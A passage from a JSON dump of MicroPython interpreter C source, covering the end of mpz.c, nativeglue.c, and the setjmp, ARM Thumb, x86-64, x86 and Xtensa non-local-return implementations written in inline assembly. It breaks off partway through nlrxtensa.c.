mpz_dbl_dig_t carry = 1;\n    for (size_t zlen = z->len; zlen > 0; --zlen) {\n        bits += DIG_SIZE;\n        d = (d << DIG_SIZE) | *zdig++;\n        for (; bits >= 8; bits -= 8, d >>= 8) {\n            mpz_dig_t val = d;\n            if (z->neg) {\n                val = (~val & 0xff) + carry;\n                carry = val >> 8;\n            }\n            if (big_endian) {\n                *--b = val;\n                if (b == buf) {\n                    return;\n                }\n            } else {\n                *b++ = val;\n                if (b == buf + len) {\n                    return;\n                }\n            }\n        }\n    }\n}\n\n#if MICROPY_PY_BUILTINS_FLOAT\nmp_float_t mpz_as_float(const mpz_t *i) {\n    mp_float_t val = 0;\n    mpz_dig_t *d = i->dig + i->len;\n\n    while (d-- > i->dig) {\n        val = val * DIG_BASE + *d;\n    }\n\n    if (i->neg != 0) {\n        val = -val;\n    }\n\n    return val;\n}\n#endif\n\n#if 0\nthis function is unused\nchar *mpz_as_str(const mpz_t *i, unsigned int base) {\n    char *s = m_new(char, mp_int_format_size(mpz_max_num_bits(i), base, NULL, '\\0'));\n    mpz_as_str_inpl(i, base, NULL, 'a', '\\0', s);\n    return s;\n}\n#endif\n\n// assumes enough space as calculated by mp_int_format_size\n// returns length of string, not including null byte\nsize_t mpz_as_str_inpl(const mpz_t *i, unsigned int base, const char *prefix, char base_char, char comma, char *str) {\n    if (str == NULL) {\n        return 0;\n    }\n    if (base < 2 || base > 32) {\n        str[0] = 0;\n        return 0;\n    }\n\n    size_t ilen = i->len;\n\n    char *s = str;\n    if (ilen == 0) {\n        if (prefix) {\n            while (*prefix)\n                *s++ = *prefix++;\n        }\n        *s++ = '0';\n        *s = '\\0';\n        return s - str;\n    }\n\n    // make a copy of mpz digits, so we can do the div/mod calculation\n    mpz_dig_t *dig = m_new(mpz_dig_t, ilen);\n    memcpy(dig, i->dig, ilen * sizeof(mpz_dig_t));\n\n    // convert\n    char *last_comma = str;\n    bool done;\n    do {\n        mpz_dig_t *d = dig + ilen;\n        mpz_dbl_dig_t a = 0;\n\n        // compute next remainder\n        while (--d >= dig) {\n            a = (a << DIG_SIZE) | *d;\n            *d = a / base;\n            a %= base;\n        }\n\n        // convert to character\n        a += '0';\n        if (a > '9') {\n            a += base_char - '9' - 1;\n        }\n        *s++ = a;\n\n        // check if number is zero\n        done = true;\n        for (d = dig; d < dig + ilen; ++d) {\n            if (*d != 0) {\n                done = false;\n                break;\n            }\n        }\n        if (comma && (s - last_comma) == 3) {\n            *s++ = comma;\n            last_comma = s;\n        }\n    }\n    while (!done);\n\n    // free the copy of the digits array\n    m_del(mpz_dig_t, dig, ilen);\n\n    if (prefix) {\n        const char *p = &prefix[strlen(prefix)];\n        while (p > prefix) {\n            *s++ = *--p;\n        }\n    }\n    if (i->neg != 0) {\n        *s++ = '-';\n    }\n\n    // reverse string\n    for (char *u = str, *v = s - 1; u < v; ++u, --v) {\n        char temp = *u;\n        *u = *v;\n        *v = temp;\n    }\n\n    *s = '\\0'; // null termination\n\n    return s - str;\n}\n\n#endif // MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ\n"
  },
  {
    "path": "micropython/source/py/nativeglue.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/emitglue.h\"\n#include \"py/bc.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_printf DEBUG_printf\n#else // don't print debugging info\n#define DEBUG_printf(...) (void)0\n#endif\n\n#if MICROPY_EMIT_NATIVE\n\n// convert a MicroPython object to a valid native value based on type\nmp_uint_t mp_convert_obj_to_native(mp_obj_t obj, mp_uint_t type) {\n    DEBUG_printf(\"mp_convert_obj_to_native(%p, \" UINT_FMT \")\\n\", obj, type);\n    switch (type & 0xf) {\n        case MP_NATIVE_TYPE_OBJ: return (mp_uint_t)obj;\n        case MP_NATIVE_TYPE_BOOL:\n        case MP_NATIVE_TYPE_INT:\n        case MP_NATIVE_TYPE_UINT: return mp_obj_get_int_truncated(obj);\n        default: { // cast obj to a pointer\n            mp_buffer_info_t bufinfo;\n            if (mp_get_buffer(obj, &bufinfo, MP_BUFFER_RW)) {\n                return (mp_uint_t)bufinfo.buf;\n            } else {\n                // assume obj is an integer that represents an address\n                return mp_obj_get_int_truncated(obj);\n            }\n        }\n    }\n}\n\n#endif\n\n#if MICROPY_EMIT_NATIVE || MICROPY_EMIT_INLINE_ASM\n\n// convert a native value to a MicroPython object based on type\nmp_obj_t mp_convert_native_to_obj(mp_uint_t val, mp_uint_t type) {\n    DEBUG_printf(\"mp_convert_native_to_obj(\" UINT_FMT \", \" UINT_FMT \")\\n\", val, type);\n    switch (type & 0xf) {\n        case MP_NATIVE_TYPE_OBJ: return (mp_obj_t)val;\n        case MP_NATIVE_TYPE_BOOL: return mp_obj_new_bool(val);\n        case MP_NATIVE_TYPE_INT: return mp_obj_new_int(val);\n        case MP_NATIVE_TYPE_UINT: return mp_obj_new_int_from_uint(val);\n        default: // a pointer\n            // we return just the value of the pointer as an integer\n            return mp_obj_new_int_from_uint(val);\n    }\n}\n\n#endif\n\n#if MICROPY_EMIT_NATIVE\n\n// wrapper that accepts n_args and n_kw in one argument\n// (native emitter can only pass at most 3 arguments to a function)\nmp_obj_t mp_native_call_function_n_kw(mp_obj_t fun_in, size_t n_args_kw, const mp_obj_t *args) {\n    return mp_call_function_n_kw(fun_in, n_args_kw & 0xff, (n_args_kw >> 8) & 0xff, args);\n}\n\n// wrapper that makes raise obj and raises it\n// END_FINALLY opcode requires that we don't raise if o==None\nvoid mp_native_raise(mp_obj_t o) {\n    if (o != mp_const_none) {\n        nlr_raise(mp_make_raise_obj(o));\n    }\n}\n\n// wrapper that handles iterator buffer\nSTATIC mp_obj_t mp_native_getiter(mp_obj_t obj, mp_obj_iter_buf_t *iter) {\n    if (iter == NULL) {\n        return mp_getiter(obj, NULL);\n    } else {\n        obj = mp_getiter(obj, iter);\n        if (obj != MP_OBJ_FROM_PTR(iter)) {\n            // Iterator didn't use the stack so indicate that with MP_OBJ_NULL.\n            iter->base.type = MP_OBJ_NULL;\n            iter->buf[0] = obj;\n        }\n        return NULL;\n    }\n}\n\n// wrapper that handles iterator buffer\nSTATIC mp_obj_t mp_native_iternext(mp_obj_iter_buf_t *iter) {\n    mp_obj_t obj;\n    if (iter->base.type == MP_OBJ_NULL) {\n        obj = iter->buf[0];\n    } else {\n        obj = MP_OBJ_FROM_PTR(iter);\n    }\n    return mp_iternext(obj);\n}\n\n// these must correspond to the respective enum in runtime0.h\nvoid *const mp_fun_table[MP_F_NUMBER_OF] = {\n    mp_convert_obj_to_native,\n    mp_convert_native_to_obj,\n    mp_load_name,\n    mp_load_global,\n    mp_load_build_class,\n    mp_load_attr,\n    mp_load_method,\n    mp_load_super_method,\n    mp_store_name,\n    mp_store_global,\n    mp_store_attr,\n    mp_obj_subscr,\n    mp_obj_is_true,\n    mp_unary_op,\n    mp_binary_op,\n    mp_obj_new_tuple,\n    mp_obj_new_list,\n    mp_obj_list_append,\n    mp_obj_new_dict,\n    mp_obj_dict_store,\n#if MICROPY_PY_BUILTINS_SET\n    mp_obj_new_set,\n    mp_obj_set_store,\n#endif\n    mp_make_function_from_raw_code,\n    mp_native_call_function_n_kw,\n    mp_call_method_n_kw,\n    mp_call_method_n_kw_var,\n    mp_native_getiter,\n    mp_native_iternext,\n    nlr_push,\n    nlr_pop,\n    mp_native_raise,\n    mp_import_name,\n    mp_import_from,\n    mp_import_all,\n#if MICROPY_PY_BUILTINS_SLICE\n    mp_obj_new_slice,\n#endif\n    mp_unpack_sequence,\n    mp_unpack_ex,\n    mp_delete_name,\n    mp_delete_global,\n    mp_obj_new_cell,\n    mp_make_closure_from_raw_code,\n    mp_setup_code_state,\n};\n\n/*\nvoid mp_f_vector(mp_fun_kind_t fun_kind) {\n    (mp_f_table[fun_kind])();\n}\n*/\n\n#endif // MICROPY_EMIT_NATIVE\n"
  },
  {
    "path": "micropython/source/py/nlrsetjmp.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/nlr.h\"\n\n#if MICROPY_NLR_SETJMP\n\nvoid nlr_setjmp_jump(void *val) {\n    nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top);\n    nlr_buf_t *top = *top_ptr;\n    if (top == NULL) {\n        nlr_jump_fail(val);\n    }\n    top->ret_val = val;\n    *top_ptr = top->prev;\n    longjmp(top->jmpbuf, 1);\n}\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/nlrthumb.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n\n#if (!defined(MICROPY_NLR_SETJMP) || !MICROPY_NLR_SETJMP) && (defined(__thumb2__) || defined(__thumb__) || defined(__arm__))\n\n#undef nlr_push\n\n// We only need the functions here if we are on arm/thumb, and we are not\n// using setjmp/longjmp.\n//\n// For reference, arm/thumb callee save regs are:\n//      r4-r11, r13=sp\n\n__attribute__((naked)) unsigned int nlr_push(nlr_buf_t *nlr) {\n\n    __asm volatile (\n    \"str    r4, [r0, #12]       \\n\" // store r4 into nlr_buf\n    \"str    r5, [r0, #16]       \\n\" // store r5 into nlr_buf\n    \"str    r6, [r0, #20]       \\n\" // store r6 into nlr_buf\n    \"str    r7, [r0, #24]       \\n\" // store r7 into nlr_buf\n\n#if defined(__ARM_ARCH_6M__)\n    \"mov    r1, r8              \\n\"\n    \"str    r1, [r0, #28]       \\n\" // store r8 into nlr_buf\n    \"mov    r1, r9              \\n\"\n    \"str    r1, [r0, #32]       \\n\" // store r9 into nlr_buf\n    \"mov    r1, r10             \\n\"\n    \"str    r1, [r0, #36]       \\n\" // store r10 into nlr_buf\n    \"mov    r1, r11             \\n\"\n    \"str    r1, [r0, #40]       \\n\" // store r11 into nlr_buf\n    \"mov    r1, r13             \\n\"\n    \"str    r1, [r0, #44]       \\n\" // store r13=sp into nlr_buf\n    \"mov    r1, lr              \\n\"\n    \"str    r1, [r0, #8]        \\n\" // store lr into nlr_buf\n#else\n    \"str    r8, [r0, #28]       \\n\" // store r8 into nlr_buf\n    \"str    r9, [r0, #32]       \\n\" // store r9 into nlr_buf\n    \"str    r10, [r0, #36]      \\n\" // store r10 into nlr_buf\n    \"str    r11, [r0, #40]      \\n\" // store r11 into nlr_buf\n    \"str    r13, [r0, #44]      \\n\" // store r13=sp into nlr_buf\n    \"str    lr, [r0, #8]        \\n\" // store lr into nlr_buf\n#endif\n\n#if defined(__ARM_ARCH_6M__)\n    \"ldr    r1, nlr_push_tail_var \\n\"\n    \"bx     r1                  \\n\" // do the rest in C\n    \".align 2                   \\n\"\n    \"nlr_push_tail_var: .word nlr_push_tail \\n\"\n#else\n    \"b      nlr_push_tail       \\n\" // do the rest in C\n#endif\n    );\n\n    return 0; // needed to silence compiler warning\n}\n\n__attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr) {\n    nlr_buf_t **top = &MP_STATE_THREAD(nlr_top);\n    nlr->prev = *top;\n    *top = nlr;\n    return 0; // normal return\n}\n\nvoid nlr_pop(void) {\n    nlr_buf_t **top = &MP_STATE_THREAD(nlr_top);\n    *top = (*top)->prev;\n}\n\nNORETURN __attribute__((naked)) void nlr_jump(void *val) {\n    nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top);\n    nlr_buf_t *top = *top_ptr;\n    if (top == NULL) {\n        nlr_jump_fail(val);\n    }\n\n    top->ret_val = val;\n    *top_ptr = top->prev;\n\n    __asm volatile (\n    \"mov    r0, %0              \\n\" // r0 points to nlr_buf\n    \"ldr    r4, [r0, #12]       \\n\" // load r4 from nlr_buf\n    \"ldr    r5, [r0, #16]       \\n\" // load r5 from nlr_buf\n    \"ldr    r6, [r0, #20]       \\n\" // load r6 from nlr_buf\n    \"ldr    r7, [r0, #24]       \\n\" // load r7 from nlr_buf\n\n#if defined(__ARM_ARCH_6M__)\n    \"ldr    r1, [r0, #28]       \\n\" // load r8 from nlr_buf\n    \"mov    r8, r1              \\n\"\n    \"ldr    r1, [r0, #32]       \\n\" // load r9 from nlr_buf\n    \"mov    r9, r1              \\n\"\n    \"ldr    r1, [r0, #36]       \\n\" // load r10 from nlr_buf\n    \"mov    r10, r1             \\n\"\n    \"ldr    r1, [r0, #40]       \\n\" // load r11 from nlr_buf\n    \"mov    r11, r1             \\n\"\n    \"ldr    r1, [r0, #44]       \\n\" // load r13=sp from nlr_buf\n    \"mov    r13, r1             \\n\"\n    \"ldr    r1, [r0, #8]        \\n\" // load lr from nlr_buf\n    \"mov    lr, r1              \\n\"\n#else\n    \"ldr    r8, [r0, #28]       \\n\" // load r8 from nlr_buf\n    \"ldr    r9, [r0, #32]       \\n\" // load r9 from nlr_buf\n    \"ldr    r10, [r0, #36]      \\n\" // load r10 from nlr_buf\n    \"ldr    r11, [r0, #40]      \\n\" // load r11 from nlr_buf\n    \"ldr    r13, [r0, #44]      \\n\" // load r13=sp from nlr_buf\n    \"ldr    lr, [r0, #8]        \\n\" // load lr from nlr_buf\n#endif\n    \"movs   r0, #1              \\n\" // return 1, non-local return\n    \"bx     lr                  \\n\" // return\n    :                               // output operands\n    : \"r\"(top)                      // input operands\n    :                               // clobbered registers\n    );\n\n    for (;;); // needed to silence compiler warning\n}\n\n#endif // (!defined(MICROPY_NLR_SETJMP) || !MICROPY_NLR_SETJMP) && (defined(__thumb2__) || defined(__thumb__) || defined(__arm__))\n"
  },
  {
    "path": "micropython/source/py/nlrx64.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n\n#if !MICROPY_NLR_SETJMP && defined(__x86_64__)\n\n#undef nlr_push\n\n// x86-64 callee-save registers are:\n//  rbx, rbp, rsp, r12, r13, r14, r15\n\n#define NLR_OS_WINDOWS (defined(_WIN32) || defined(__CYGWIN__))\n\n__attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr);\n\nunsigned int nlr_push(nlr_buf_t *nlr) {\n    (void)nlr;\n\n    #if NLR_OS_WINDOWS\n\n    __asm volatile (\n    \"movq   (%rsp), %rax        \\n\" // load return %rip\n    \"movq   %rax, 16(%rcx)      \\n\" // store %rip into nlr_buf\n    \"movq   %rbp, 24(%rcx)      \\n\" // store %rbp into nlr_buf\n    \"movq   %rsp, 32(%rcx)      \\n\" // store %rsp into nlr_buf\n    \"movq   %rbx, 40(%rcx)      \\n\" // store %rbx into nlr_buf\n    \"movq   %r12, 48(%rcx)      \\n\" // store %r12 into nlr_buf\n    \"movq   %r13, 56(%rcx)      \\n\" // store %r13 into nlr_buf\n    \"movq   %r14, 64(%rcx)      \\n\" // store %r14 into nlr_buf\n    \"movq   %r15, 72(%rcx)      \\n\" // store %r15 into nlr_buf\n    \"movq   %rdi, 80(%rcx)      \\n\" // store %rdr into nlr_buf\n    \"movq   %rsi, 88(%rcx)      \\n\" // store %rsi into nlr_buf\n    \"jmp    nlr_push_tail       \\n\" // do the rest in C\n    );\n\n    #else\n\n    __asm volatile (\n    #if defined(__APPLE__) || defined(__MACH__)\n    \"pop    %rbp                \\n\" // undo function's prelude\n    #endif\n    \"movq   (%rsp), %rax        \\n\" // load return %rip\n    \"movq   %rax, 16(%rdi)      \\n\" // store %rip into nlr_buf\n    \"movq   %rbp, 24(%rdi)      \\n\" // store %rbp into nlr_buf\n    \"movq   %rsp, 32(%rdi)      \\n\" // store %rsp into nlr_buf\n    \"movq   %rbx, 40(%rdi)      \\n\" // store %rbx into nlr_buf\n    \"movq   %r12, 48(%rdi)      \\n\" // store %r12 into nlr_buf\n    \"movq   %r13, 56(%rdi)      \\n\" // store %r13 into nlr_buf\n    \"movq   %r14, 64(%rdi)      \\n\" // store %r14 into nlr_buf\n    \"movq   %r15, 72(%rdi)      \\n\" // store %r15 into nlr_buf\n    #if defined(__APPLE__) || defined(__MACH__)\n    \"jmp    _nlr_push_tail      \\n\" // do the rest in C\n    #else\n    \"jmp    nlr_push_tail       \\n\" // do the rest in C\n    #endif\n    );\n\n    #endif\n\n    return 0; // needed to silence compiler warning\n}\n\n__attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr) {\n    nlr_buf_t **top = &MP_STATE_THREAD(nlr_top);\n    nlr->prev = *top;\n    *top = nlr;\n    return 0; // normal return\n}\n\nvoid nlr_pop(void) {\n    nlr_buf_t **top = &MP_STATE_THREAD(nlr_top);\n    *top = (*top)->prev;\n}\n\nNORETURN void nlr_jump(void *val) {\n    nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top);\n    nlr_buf_t *top = *top_ptr;\n    if (top == NULL) {\n        nlr_jump_fail(val);\n    }\n\n    top->ret_val = val;\n    *top_ptr = top->prev;\n\n    __asm volatile (\n    \"movq   %0, %%rcx           \\n\" // %rcx points to nlr_buf\n    #if NLR_OS_WINDOWS\n    \"movq   88(%%rcx), %%rsi    \\n\" // load saved %rsi\n    \"movq   80(%%rcx), %%rdi    \\n\" // load saved %rdr\n    #endif\n    \"movq   72(%%rcx), %%r15    \\n\" // load saved %r15\n    \"movq   64(%%rcx), %%r14    \\n\" // load saved %r14\n    \"movq   56(%%rcx), %%r13    \\n\" // load saved %r13\n    \"movq   48(%%rcx), %%r12    \\n\" // load saved %r12\n    \"movq   40(%%rcx), %%rbx    \\n\" // load saved %rbx\n    \"movq   32(%%rcx), %%rsp    \\n\" // load saved %rsp\n    \"movq   24(%%rcx), %%rbp    \\n\" // load saved %rbp\n    \"movq   16(%%rcx), %%rax    \\n\" // load saved %rip\n    \"movq   %%rax, (%%rsp)      \\n\" // store saved %rip to stack\n    \"xorq   %%rax, %%rax        \\n\" // clear return register\n    \"inc    %%al                \\n\" // increase to make 1, non-local return\n    \"ret                        \\n\" // return\n    :                               // output operands\n    : \"r\"(top)                      // input operands\n    :                               // clobbered registers\n    );\n\n    for (;;); // needed to silence compiler warning\n}\n\n#endif // !MICROPY_NLR_SETJMP && defined(__x86_64__)\n"
  },
  {
    "path": "micropython/source/py/nlrx86.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpconfig.h\"\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n\n#if !MICROPY_NLR_SETJMP && defined(__i386__)\n\n#undef nlr_push\n\n// For reference, x86 callee save regs are:\n//  ebx, esi, edi, ebp, esp, eip\n\n#define NLR_OS_WINDOWS (defined(_WIN32) || defined(__CYGWIN__))\n\n#if NLR_OS_WINDOWS\nunsigned int nlr_push_tail(nlr_buf_t *nlr) asm(\"nlr_push_tail\");\n#else\n__attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr);\n#endif\n\nunsigned int nlr_push(nlr_buf_t *nlr) {\n    (void)nlr;\n\n    __asm volatile (\n    // Check for Zephyr, which uses a different calling convention\n    // by default.\n    // TODE: Better support for various x86 calling conventions\n    // (unfortunately, __attribute__((naked)) is not supported on x86).\n    #ifndef __ZEPHYR__\n    \"pop    %ebp                \\n\" // undo function's prelude\n    #endif\n    \"mov    4(%esp), %edx       \\n\" // load nlr_buf\n    \"mov    (%esp), %eax        \\n\" // load return %eip\n    \"mov    %eax, 8(%edx)       \\n\" // store %eip into nlr_buf\n    \"mov    %ebp, 12(%edx)      \\n\" // store %ebp into nlr_buf\n    \"mov    %esp, 16(%edx)      \\n\" // store %esp into nlr_buf\n    \"mov    %ebx, 20(%edx)      \\n\" // store %ebx into nlr_buf\n    \"mov    %edi, 24(%edx)      \\n\" // store %edi into nlr_buf\n    \"mov    %esi, 28(%edx)      \\n\" // store %esi into nlr_buf\n    \"jmp    nlr_push_tail       \\n\" // do the rest in C\n    );\n\n    return 0; // needed to silence compiler warning\n}\n\n__attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr) {\n    nlr_buf_t **top = &MP_STATE_THREAD(nlr_top);\n    nlr->prev = *top;\n    *top = nlr;\n    return 0; // normal return\n}\n\nvoid nlr_pop(void) {\n    nlr_buf_t **top = &MP_STATE_THREAD(nlr_top);\n    *top = (*top)->prev;\n}\n\nNORETURN void nlr_jump(void *val) {\n    nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top);\n    nlr_buf_t *top = *top_ptr;\n    if (top == NULL) {\n        nlr_jump_fail(val);\n    }\n\n    top->ret_val = val;\n    *top_ptr = top->prev;\n\n    __asm volatile (\n    \"mov    %0, %%edx           \\n\" // %edx points to nlr_buf\n    \"mov    28(%%edx), %%esi    \\n\" // load saved %esi\n    \"mov    24(%%edx), %%edi    \\n\" // load saved %edi\n    \"mov    20(%%edx), %%ebx    \\n\" // load saved %ebx\n    \"mov    16(%%edx), %%esp    \\n\" // load saved %esp\n    \"mov    12(%%edx), %%ebp    \\n\" // load saved %ebp\n    \"mov    8(%%edx), %%eax     \\n\" // load saved %eip\n    \"mov    %%eax, (%%esp)      \\n\" // store saved %eip to stack\n    \"xor    %%eax, %%eax        \\n\" // clear return register\n    \"inc    %%al                \\n\" // increase to make 1, non-local return\n    \"ret                        \\n\" // return\n    :                               // output operands\n    : \"r\"(top)                      // input operands\n    :                               // clobbered registers\n    );\n\n    for (;;); // needed to silence compiler warning\n}\n\n#endif // !MICROPY_NLR_SETJMP && defined(__i386__)\n"
  },
  {
    "path": "micropython/source/py/nlrxtensa.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n\n#if !MICROPY_NLR_SETJMP && defined(__xtensa__)\n\n#undef nlr_push\n\n// Xtensa calling conventions:\n//  a0 = return address\n//  a1 = stack pointer\n//  a2 = first arg, return value\n//  a3-a7 = rest of args\n\nunsigned int nlr_push(nlr_buf_t *nlr) {\n\n    __asm volatile (\n    \"s32i.n  a0, a2, 8          \\n\" // save regs...\n    \"s32i.n  a1, a2, 12         \\n\"\n    \"s32i.n  a8, a2, 16         \\n\"\n    \"s32i.n  a9, a2, 20         \\n\"\n    \"s32i.n  a10, a2, 24        \\n\"\n    \"s32i.n  a11, a2, 28        \\n\"\n    \"s32i.n  a12, a2, 32        \\n\"\n    \"s32i.n  a13, a2, 36        \\n\"\n    \"s32i.n  a14, a2, 40        \\n\"\n    \"s32i.n  a15, a2, 44        \\n\"\n    \"j      nlr_push_tail       \\n\" // do the rest in C\n    );\n\n    return 0; // needed to silence compiler warning\n}\n\n__attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr) {\n    nlr_buf_t **top = &MP_STATE_THREAD(nlr_top);\n    nlr->prev = *top;\n    *top = nlr;\n    return 0; // normal return\n}\n\nvoid nlr_pop(void) {\n    nlr_buf_t **top = &MP_STATE_THREAD(nlr_top);\n    *top = (*top)->prev;\n}\n\nNORETURN void nlr_jump(void *val) {\n    nlr_buf_t **top_ptr = 